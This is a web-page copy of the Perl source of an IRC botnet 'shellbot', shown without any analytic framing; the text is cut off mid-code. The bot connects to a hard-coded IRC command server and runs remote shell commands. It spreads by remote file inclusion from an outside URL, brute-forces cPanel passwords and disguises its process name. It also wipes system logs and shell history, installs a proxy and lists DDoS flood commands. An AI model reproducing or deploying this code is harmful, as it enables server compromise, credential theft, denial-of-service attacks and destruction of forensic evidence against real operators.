-=[ D4wFl1N ]=-: Mizok Bot V3.2 PRiVaTE Sh3llBoT

Code :
==========================================================
#!/usr/bin/perl
#system 'cd /tmp;rm -rf *';
#
# Mizok Bot V3.2 PRiVaTE Sh3llBoT
#
# Last edited : 12/2/2010
#
#[@[PitBull Bot V5 Commands List]@]
#[@-----[Shellbot/Hacking Based]-----@]
#!bot @admins
#!bot @spread
#!bot @milw0rm
#!bot @packetstorm
#!bot @portscan
#!bot @logcleaner
#!bot @md5
#!bot @sendmail
#!bot @vnc
#!bot @boxip
#!bot @socks5
#!bot @cleartmp
#!bot @portchk
#!bot @proxy
#!bot @rootable
#!bot @modules
#!bot @cpanel
#!bot @visit
#!bot @shellfind
#[@-----[IRC Based]-----@]
#!bot @join <#channel>
#!bot @part <#channel>
#!bot @quit
#!bot @voice
#!bot @devoice
#!bot @halfop
#!bot @dehalfop
#!bot @op
#!bot @deop
#!bot @owner
#!bot @deowner
#[@-----[DDos Based]-----@]
#!bot @udpflood
#!bot @httpflood
#!bot @sqlflood
#[@-----[Flooding Based]-----@]
#!bot @msgflood
#!bot @dccflood
#!bot @ctcpflood
#!bot @noticeflood
#!bot @channelflood
#!bot @maxiflood
#[@[PitBull Bot V5 Commands List]@]
#
# Sh3llBoT
#
######################
#print " After installation, Linux requires configuration and systems administration. Corporate systems need monitoring, backups, updates, as well as system and user management. Ubuntu (apt), CentOS, Fedora and Red Hat (rpm/YUM) server and desktop systems adminstration are covered by this script. Please dont exit the script or it will result in a broken linux partition";
######################
# Specify your data:
#--------------------------------------------------------------#
my $max_lines= '10';
my $sleeping= '3';
my $prefix = "shellbot"; # "!" is included :)
my $spread = "http://www.theblackhole.us/forum/chat/inc/cmses/bind/s.txt";
my @admins = ("Vicktor");
my @hostauth= ("Vicktor.ro");
#--------------------------------------------------------------#
$server= 'master.indoirc.net' unless $server;
my $port= '6667';
my @channel= ("#Vicktor");
my @nickname = ("XDCC|");
my $nick = $nickname[rand scalar @nickname];
my $ircname = 'xdcc';
chop (my $realname = "VickT');
#--------------------------------------------------------------#
my $httpmodule;
my $usermodule;
my $lwpmodule;
my $filemodule;
#--------------------------------------------------------------#
my @cpanelpasswds = ("1","12","967qeikt","123","1234","12345","123456","1234567","12345678","123456789","1234567890","admin","root",
"pass","passwd","password","Pass","Passwd","PassWd","PassWord","pwd","login","Admin","admin","test","123123","1212",
"12341234","zxcvbnm","zxcvbn","zxcvb","zxcv","zxc","q1w2e3r4","q1w2e3","q1w2e3r4t5","1q2w3e4r5t","1q2w3e4r","1q2w3e",
"demo","morgan","ferrari","italia","usa","clinton","dart","call","asdf","asdfg","asdfgh","qazwsx","qazxsw","qwertyu",
"qwertyuiop","qwertyuio","qwertyu","qwerty","qwert","qwer","james","hosting","temp","test1","test12","test123","tester",
"testing","cpanel","default","Login","admin.","cpanels","web","master","webmaster","dark","support","darby","mail",
"dick","mary","evil","nissan","toyota","kingkong","superman","super","supra","data","service","server","weed","abc",
"abc123","hello","terror","binladen","europe","website","mypass","pass1","pass12","pass123","pass1234","passwd1");
#--------------------------------------------------------------#
# End here :)

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

eval "use HTTP::Request;"; if ($@) {
$httpmodule= " 4No";
}
else{
$httpmodule= " 4Yes";
}

eval "use LWP::UserAgent;"; if ($@) {
$usermodule= " 4No";
}
else{
$usermodule= " 4Yes";
}

eval "require LWP;"; if ($@) {
$lwpmodule= " 4No";
}
else{
$lwpmodule= " 4Yes";
}

eval "use FileHandle;"; if ($@) {
$filemodule= " 4No";
}
else{
$filemodule= " 4Yes";
}

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");

#Connect
$server="$ARGV[0]" if $ARGV[0];

# Real psx! - by xeQt.
my $uid=`id -u`;
if ($uid =~ /^0$/)
{
$0=$xeQters."\0"x16;;
chdir($rootpath);
}
else
{
@processer=`ps x|grep -E "http|httpd|apache|apache2|mysql|postgrep|smbd"`; # Grab from real ps!
foreach $lines (@processer)
{
if (($lines =~ /\/(.+)/)&&($lines !~ /grep/i)&&($lines !~ /perl/i))
{
if (($lines!~/wget/i)&&($lines!~/curl/i)&&($lines!~/fetch/i)&&($lines!~/GET/i)&&($lines!~/lwp-download/i))
{
$bg=$1;
}
}
if (($bg =~ /^\//i) || ($bg =~ /^\/\//i) || ($bg =~ /^[.+?]$/i))
{
$bg="$bg";
}
else
{
$bg="/$bg";
}
if ((length($bg) <= 3) || ($bg =~ /.txt$/i)) { $bg=$fakeps[rand scalar @fakeps]; } $0="$bg"."\0"x16;; chdir($userpath); } } my $pid=fork; exit if $pid; die "Error: Fork(): $!" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {#342
print $IRC_cur_socket "$_[0]\n";
}
}

sub conectar {
my $meunick = $_[0];
my $server_con = $_[1];
my $port_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
PeerPort=>$port_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$port_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
sleep 1;
}
}

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001VERSION\001$/) { notice("$pn", "\001VERSION mIRC v6.31 The_PitBull\001"); } if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth ) { if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } #-#-#-#-#-#-#-#-# # PREFIX # #-#-#-#-#-#-#-#-# if ($args =~ /^(\Q$meunick\E|\!$prefix)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } #-#-#-#-#-#-#-#-# # NICKNAME OPT.# #-#-#-#-#-#-#-#-# elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $meunick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; foreach my $canal (@channel) { sendraw("JOIN $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { #-#-#-#-#-#-#-#-# # Commands # #-#-#-#-#-#-#-#-# # Show commands of the bot. if ($funcarg =~ /^commands/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] "); sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Shellbot/Hacking Based]----- 4@ 12 ] "); sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1admins "); sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1spread ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1milw0rm ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1packetstorm ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portscan ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1logcleaner ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1md5 ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sendmail ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1vnc ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1boxip ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1socks5 ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cleartmp ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1portchk ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1proxy ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1rootable ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1modules ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1cpanel ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1visit ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1shellfind ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[IRC Based]----- 4@ 12 ] ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1join <#channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1part <#channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1quit ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1voice ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1devoice ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1halfop ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dehalfop ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1op ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1deop ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[DDos Based]----- 4@ 12 ] ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1udpflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1httpflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1sqlflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ -----[Flooding Based]----- 4@ 12 ] ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1msgflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1dccflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1ctcpflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1noticeflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1channelflood");
sendraw($IRC_cur_socket, "PRIVMSG $printl :!bot 7@ 1maxiflood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ [PitBull Bot V5 Commands List] 4@ 12 ] ");
}

# Shell finder based on the code of DiA/RRLF.
if ($funcarg =~ /^shellfind\s+(.*)/) {
my $type=$1;
my @searchTerm;
my @checkTerm;
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Started for finding 4 ".$type." 12shell ");
if($type eq "r57") {
push(@searchTerm, "inurl:r57.php");
push(@searchTerm, "\"[ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ]\"");
push(@searchTerm, "intitle:r57shell");
push(@checkTerm, "r57");
push(@checkTerm, "safe_mode");
}
elsif($type eq "c99") {
push(@searchTerm, "inurl:c99.php");
push(@searchTerm, "\"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout\"");
push(@searchTerm, "intitle:\" - phpshell\"");
push(@searchTerm, "intitle:\" - c99shell\"");
push(@checkTerm, "c99");
push(@checkTerm, "Safe-mode");
}
elsif($type eq "mys") {
push(@searchTerm, "\"Auto error traping enabled\"");
push(@searchTerm, "intitle:\"MyShell 1.1.0 build 20010923\"");
push(@checkTerm, "MyShell");
push(@checkTerm, "Echo commands");
}
elsif($type eq "phs") {
push(@searchTerm, "intitle:\"PHP Shell 1.5\"");
push(@searchTerm, "intitle:\"PHP Shell 1.6\"");
push(@searchTerm, "intitle:\"PHP Shell 1.7\"");
push(@searchTerm, "\"Enable stderr-trapping?\"");
push(@checkTerm, "PHP Shell");
push(@checkTerm, "Choose new working");
}
elsif($type eq "phm") {
push(@searchTerm, "\"PHPShell by Macker\"");
push(@searchTerm, "\"[ Main Menu ] [ PHPKonsole ] [ Haxplorer ]\"");
push(@checkTerm, "Haxplorer");
push(@checkTerm, "PHPKonsole");
}
elsif($type eq "rem") {
push(@searchTerm, "intitle:\"phpRemoteView: \"");
push(@searchTerm, "\"REMVIEW TOOLS\"");
push(@checkTerm, "phpRemoteView");
push(@checkTerm, "perms");
}

my $userAgent = LWP::UserAgent->new;
$userAgent->agent("User-Agent=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5");

my @resultLinks;

foreach(@searchTerm) {
my $isLastPage = 0;
for(my $gPage = 0; ; $gPage++) {
if($isLastPage == 1) { last; }

my $gRequest = HTTP::Request->new(GET => "http://www.google.de/search?q=$_&start=$gPage"."0");
my $gResource = $userAgent->request($gRequest);

if($gResource->is_success) {
my @gContent = split("

", $gResource->content);
if(@gContent < 10) { $isLastPage = 1; }; for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) { my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6); $shellLink = substr($shellLink, 0, index($shellLink, "\"")); my $sRequest = HTTP::Request->new(GET => $shellLink);
my $sResource = $userAgent->request($sRequest);

if($sResource->is_success) {
if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] 4 [".$type."] 12Link: 4 ".$shellLink." ");

}
}
}
sleep 20; #wait 20 seconds so google dont think we are a bot
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ShellFinder 12] Google blacklisted! ");
}
}
}

}

# Show admins of the bot.
if ($funcarg =~ /^admins/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Admins 12] The Admins of the bot are : 4 @admins ");
}

# ModuleCheck to c wich we are using
if ($funcarg =~ /^modules/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] HTTP::Request: ".$httpmodule." ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP::Useragent: ".$usermodule." ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] LWP: ".$lwpmodule." ");
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] FileHandle: ".$filemodule." ");
}

# URL Visitor
if ($funcarg =~ /^visit\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visiting");
my $side=$1;
my $set = fix_url($side);
if (my $pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; }
else {
eval "use HTTP::Request;"; if ($@) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] HTTP::Request not found ");
}
eval "use LWP::UserAgent;"; if ($@) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] LWP::UserAgent not found ");
}
my $siden=fix_url($side);
my $req=HTTP::Request->new(GET=>$siden);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
my $mrx=$response->content;
if ($response->is_success) {
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ URLVisit 12] Visited 4 ".$siden.".");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Error: ".$siden."");
}
}
exit;
}
}

# Spread the bot on a rfi. Make sure that your $spread is configured right !.
if ($funcarg =~ /^spread\s+(.*)/) {
$vuln = $1;
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Spreading bot on : 4 $vuln");
my $shellurl="http://".$vuln.$spread."?";
my $reqz=HTTP::Request->new(GET=>$shellurl);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Spreader 12] Bot is Spreaded on : 4 $vuln");
}

# MD5 Decrypter by my friend iNs ;).
if ($funcarg =~ /^md5\s+(.*)/) {
&ice($printl,$1);
&gdata($printl,$1);
&redn($printl,$1);
&xpz($printl,$1);
&ben($printl,$1);
&alim($printl,$1);
&cry($printl,$1);
}

# Get the latest bugs from milw0rm.
if ($funcarg =~ /^milw0rm/) {
my @ltt=();
my @bug=();
my $x;
my $page="";
my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$socke>;
$page="@r";
close($socke);
while ($page =~ m/(.*)</g){ $x = $1; if ($x =~ /\<\;/) { $x =~ s/\<\;/</g; } if ($x !~ /milw0rm/) { push (@bug,$x); }} while ($page =~ m/<link.*expl.*([0-9]...)</g) { if ($1 !~ m/milw0rm.com|exploits|en/){ push (@ltt,"http://www.milw0rm.com/exploits/$1 "); }} sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Milw0rm 12] 12 Latest exploits : "); foreach $x (0..(@ltt - 1)) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Milw0rm 12] 12 $bug[$x] - $ltt[$x]"); sleep 1; }} # Get the IP of the box if ($funcarg =~ /^boxip/) { $net = `/sbin/ifconfig | grep 'eth0'`; if (length($net)) { $net = `/sbin/ifconfig eth0 | grep 'inet addr'`; if (!length($net)) { $net = `/sbin/ifconfig eth0 | grep 'inet end.'`; } if (length($net)) { chop($net); @netip = split/:/,$net; $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/; $ip = $1 .".". $2 .".". $3 .".". $4; sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 ". $ip ." "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 Not founded "); } } else { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ IP 12] 12 IP of B0X : 4 Error "); } } #cPanel Bruter by xeQt modded by The_PitBull if ($funcarg =~ /^cpanel\s+(\S+)\s+(\S+)\s+(\d+)/) { my $haddr=$1; my $cuser=$2; my $cport=$3; my $countcp=0; eval "use IO::Socket;"; if ($@) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 IO::Socket Not Found"); return; } eval "use LWP::Simple;"; if ($@) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 LWP::Simple Not Found"); return; } eval "use MIME::Base64;"; if ($@) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ModuleCheck 12] 12 MIME::Base64 Not Found"); return; } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Starting Bruter"); foreach my $P (@cpanelpasswds) { $countcp++; chomp $P; $passwd = $P; $authx = encode_base64($cuser.":".$passwd); my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$haddr", PeerPort => "$cport") || die "Error connect ro host\n";<br /> print $sock "GET / HTTP/1.1\n";<br /> print $sock "Authorization: Basic $authx\n";<br /> print $sock "Connection: Close\n\n";<br /> read $sock, $answer, 128;<br /> close($sock);<br /> if ($answer =~ /Moved/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Cracked ".$haddr.":".$cport." - l/p:".$cuser.":".$passwd." - Done.");<br /> return;<br /> }<br /> }<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ cPanelBruter 12] 12 Tested ".$countcp." password(s) without luck!");<br /> }<br /> <br /> <br /> #Auto Install Socks V5 using Mocks<br /> if ($funcarg =~ /^socks5/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Installing Mocks please wait 4");<br /> system 'cd /tmp';<br /> system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';<br /> system 'tar -xvfz mocks-0.0.2.tar.gz';<br /> system 'rm -rf mocks-0.0.2.tar.gz';<br /> system 'cd mocks-0.0.2';<br /> system 'rm -rf mocks.conf';<br /> system 'curl -O http://andromeda.covers.de/221/mocks.conf';<br /> system 'touch mocks.log';<br /> system 'chmod 0 mocks.log';<br /> sleep(2);<br /> system './mocks start';<br /> sleep(4);<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Looks like its succesfully installed lets do the last things 4 ");<br /> <br /> #lets grab ip<br /> $net = `/sbin/ifconfig | grep 'eth0'`;<br /> if (length($net))<br /> {<br /> $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;<br /> if (!length($net))<br /> {<br /> $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;<br /> }<br /> if (length($net))<br /> {<br /> chop($net);<br /> @netip = split/:/,$net;<br /> $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;<br /> $ip = $1 .".". $2 .".". $3 .".". $4;<br /> <br /> #and print it ^^<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 Connect here : 4 ". $ip .":8787 ");<br /> }<br /> else<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 IP not founded ");<br /> }<br /> }<br /> else<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SocksV5 12] 12 ERROR WHILE INSTALLING MOCKS ");<br /> }<br /> }<br /> <br /> <br /> <br /> # A portscanner, @portscan <host><br /> if ($funcarg =~ /^portscan (.*)/) {<br /> my $hostip="$1";<br /> my<br /> @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");<br /> my (@aberta, %porta_banner);<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 Scanning for open ports on 4 ".$1." 12 started .");<br /> foreach my $port (@portas) {<br /> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $port, Proto =><br /> 'tcp', Timeout => 4);<br /> if ($scansock) {<br /> push (@aberta, $port);<br /> $scansock->close;<br /> }<br /> }<br /> if (@aberta) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 Open ports founded: @aberta");<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Portscan 12] 12 No open ports foundend. ");<br /> }<br /> }<br /> <br /> # A logcleaner, most effective when you are uid=0<br /> if ($funcarg =~ /^logcleaner/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] This process can be long, just wait");<br /> system 'rm -rf /var/log/lastlog';<br /> system 'rm -rf /var/log/wtmp';<br /> system 'rm -rf /etc/wtmp';<br /> system 'rm -rf /var/run/utmp';<br /> system 'rm -rf /etc/utmp';<br /> system 'rm -rf /var/log';<br /> system 'rm -rf /var/logs';<br /> system 'rm -rf /var/adm';<br /> system 'rm -rf /var/apache/log';<br /> system 'rm -rf /var/apache/logs';<br /> system 'rm -rf /usr/local/apache/log';<br /> system 'rm -rf /usr/local/apache/logs';<br /> system 'rm -rf /root/.bash_history';<br /> system 'rm -rf /root/.ksh_history';<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] All default log and bash_history files erased");<br /> sleep 1;<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] Now Erasing the rest of the machine log files");<br /> system 'find / -name *.bash_history -exec rm -rf {} \;';<br /> system 'find / -name *.bash_logout -exec rm -rf {} \;';<br /> system 'find / -name "log*" -exec rm -rf {} \;';<br /> system 'find / -name *.log -exec rm -rf {} \;';<br /> sleep 1;<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ LogCleaner 12] Done! All logs erased");<br /> }<br /> <br /> # A /tmp cleaner<br /> if ($funcarg =~ /^cleartmp/) {<br /> system 'cd /tmp;rm -rf *';<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ TMPCleaner 12] /tmp is Cleaned");<br /> }<br /> <br /> # Check if a host have a port open.<br /> if ($funcarg =~ /^portchk\s+(.*)\s+(\d+)/) {<br /> my $host=$1;<br /> my $port=$2;<br /> my $scansock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 8);<br /> if ($scansock)<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PortChk 12] Port: 4 ".$port." 12is open on the host 4 ".$host." ");<br /> $scansock->close;<br /> }<br /> else<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PortChk 12] Port: 4 ".$port." 12is closed on the host 4 ".$host." ");<br /> }<br /> }<br /> <br /> # Chk The News from PacketStorm<br /> if ($funcarg =~ /^packetstorm/) {<br /> my $c=0;<br /> my $x;<br /> my @ttt=();<br /> my @ttt1=();<br /> my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;<br /> print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";<br /> print $sock "Host: www.packetstormsecurity.org\r\n";<br /> print $sock "Accept: */*\r\n";<br /> print $sock "User-Agent: Mozilla/5.0\r\n\r\n";<br /> my @r = <$sock>;<br /> $page="@r";<br /> close($sock);<br /> while ($page =~ m/<link>(.*)<\/link>/g)<br /> {<br /> push(@ttt,$1);<br /> }<br /> while ($page =~ m/<description>(.*)<\/description>/g)<br /> {<br /> push(@ttt1,$1);<br /> }<br /> foreach $x (0..(@ttt - 1))<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ PacketStorm 12] ".$ttt[$x]." ".$ttt1[$x]."");<br /> sleep 3;<br /> $c++;<br /> }<br /> }<br /> <br /> if ($funcarg =~ /^rootable/) {<br /> my $khost = `uname -r`;<br /> my $currentid = `whoami`;<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] Currently you are ".$currentid." ");<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] The kernel of this box is ".$khost." ");<br /> chomp($khost);<br /> <br /> my %h;<br /> $h{'w00t'} = {<br /> vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']<br /> };<br /> <br /> $h{'brk'} = {<br /> vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']<br /> };<br /> <br /> $h{'ave'} = {<br /> vuln=>['2.4.19','2.4.20']<br /> };<br /> <br /> $h{'elflbl'} = {<br /> vuln=>['2.4.29']<br /> };<br /> <br /> $h{'elfdump'} = {<br /> vuln=>['2.4.27']<br /> };<br /> <br /> $h{'expand_stack'} = {<br /> vuln=>['2.4.29']<br /> };<br /> <br /> $h{'h00lyshit'} = {<br /> 